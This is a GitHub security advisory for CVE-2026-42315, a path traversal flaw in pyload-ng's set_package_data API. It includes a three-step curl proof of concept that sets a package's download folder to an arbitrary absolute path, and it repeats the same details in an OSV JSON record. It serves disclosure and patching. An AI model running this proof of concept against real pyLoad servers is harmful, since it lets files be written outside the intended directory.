GHSA-838G-GR43-QQG9

Vulnerability from github – Published: 2026-05-05 21:18 – Updated: 2026-05-13 14:18
VLAI?
Summary
PyLoad vulnerable to Path Traversal via Package Folder Name in set_package_data
Details

Summary

No sanitization of package folder name allows writing files anywhere outside the intended download directory.

Affected Component

  • src/pyload/core/api/__init__.py
  • Function: set_package_data()

Details

When passing a folder name in the set_package_data() API function call inside the data object with key "_folder", there is no sanitization at all, allowing a user with Perms.MODIFY to specify arbitrary directories as download locations for a package.

PoC

1) Create a package, note response package ID e.g. 5

curl -X 'POST' \
  'http://localhost:8000/api/add_package' \
  -H 'accept: application/json' \
  -H 'X-API-Key: <valid api key>' \
  -H 'Content-Type: application/json' \
  -d '{
  "name": "set_package_data_exploit_poc",
  "links": [
    "http://example.com/file.txt"
  ],
  "dest": 1
}'

2) Call set_package_data for this package ID with an arbitrary directory 

curl -X 'POST' \
  'http://localhost:8000/api/set_package_data' \
  -H 'accept: */*' \
  -H 'X-API-Key: <valid api key>' \
  -H 'Content-Type: application/json' \
  -d '{
  "package_id": 5,
  "data": {
    "_folder": "/users/root/"
  }
}'

3) New download folder will be set without any checks

curl -X 'GET' \
  'http://localhost:8000/api/get_queue' \
  -H 'accept: application/json' \
  -H 'X-API-Key: <valid api key>'

Response:

[
  {
    "pid": 5,
    "name": "set_package_data_exploit_poc",
    "folder": "/users/root/",
    "site": "",
    "password": "",
    "dest": 1,
    "order": 1,
    "linksdone": 0,
    "sizedone": 0,
    "sizetotal": 0,
    "linkstotal": 1,
    "links": null,
    "fids": null
  }
]

Impact

Allows Absolute Path Traversal to write in an arbitrary directory as long as the pyLoad process has write access.

Severity ?
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.5.0b3.dev99"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "pyload-ng"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.5.0b3.dev100"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42315"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22",
      "CWE-36"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-05T21:18:19Z",
    "nvd_published_at": "2026-05-11T18:16:35Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nNo sanitization of package folder name allows writing files anywhere outside the intended download directory.\n\n#### Affected Component\n- `src/pyload/core/api/__init__.py`\n- Function: `set_package_data()`\n\n### Details\nWhen passing a folder name in the `set_package_data()` API function call inside the data object with key `\"_folder\"`, there is no sanitization at all, allowing a user with `Perms.MODIFY` to specify arbitrary directories as download locations for a package.\n\n### PoC\n1) Create a package, note response package ID e.g. `5`\n```\ncurl -X \u0027POST\u0027 \\\n  \u0027http://localhost:8000/api/add_package\u0027 \\\n  -H \u0027accept: application/json\u0027 \\\n  -H \u0027X-API-Key: \u003cvalid api key\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n  \"name\": \"set_package_data_exploit_poc\",\n  \"links\": [\n    \"http://example.com/file.txt\"\n  ],\n  \"dest\": 1\n}\u0027\n```\n\n2) Call set_package_data for this package ID with an arbitrary directory \n```\ncurl -X \u0027POST\u0027 \\\n  \u0027http://localhost:8000/api/set_package_data\u0027 \\\n  -H \u0027accept: */*\u0027 \\\n  -H \u0027X-API-Key: \u003cvalid api key\u003e\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n  \"package_id\": 5,\n  \"data\": {\n    \"_folder\": \"/users/root/\"\n  }\n}\u0027\n```\n\n3) New download folder will be set without any checks\n```\ncurl -X \u0027GET\u0027 \\\n  \u0027http://localhost:8000/api/get_queue\u0027 \\\n  -H \u0027accept: application/json\u0027 \\\n  -H \u0027X-API-Key: \u003cvalid api key\u003e\u0027\n```\nResponse:\n```\n[\n  {\n    \"pid\": 5,\n    \"name\": \"set_package_data_exploit_poc\",\n    \"folder\": \"/users/root/\",\n    \"site\": \"\",\n    \"password\": \"\",\n    \"dest\": 1,\n    \"order\": 1,\n    \"linksdone\": 0,\n    \"sizedone\": 0,\n    \"sizetotal\": 0,\n    \"linkstotal\": 1,\n    \"links\": null,\n    \"fids\": null\n  }\n]\n```\n\n### Impact\nAllows Absolute Path Traversal to write in an arbitrary directory as long as the pyLoad process has write access.",
  "id": "GHSA-838g-gr43-qqg9",
  "modified": "2026-05-13T14:18:08Z",
  "published": "2026-05-05T21:18:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pyload/pyload/security/advisories/GHSA-838g-gr43-qqg9"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42315"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pyload/pyload"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PyLoad vulnerable to Path Traversal via Package Folder Name in set_package_data"
}


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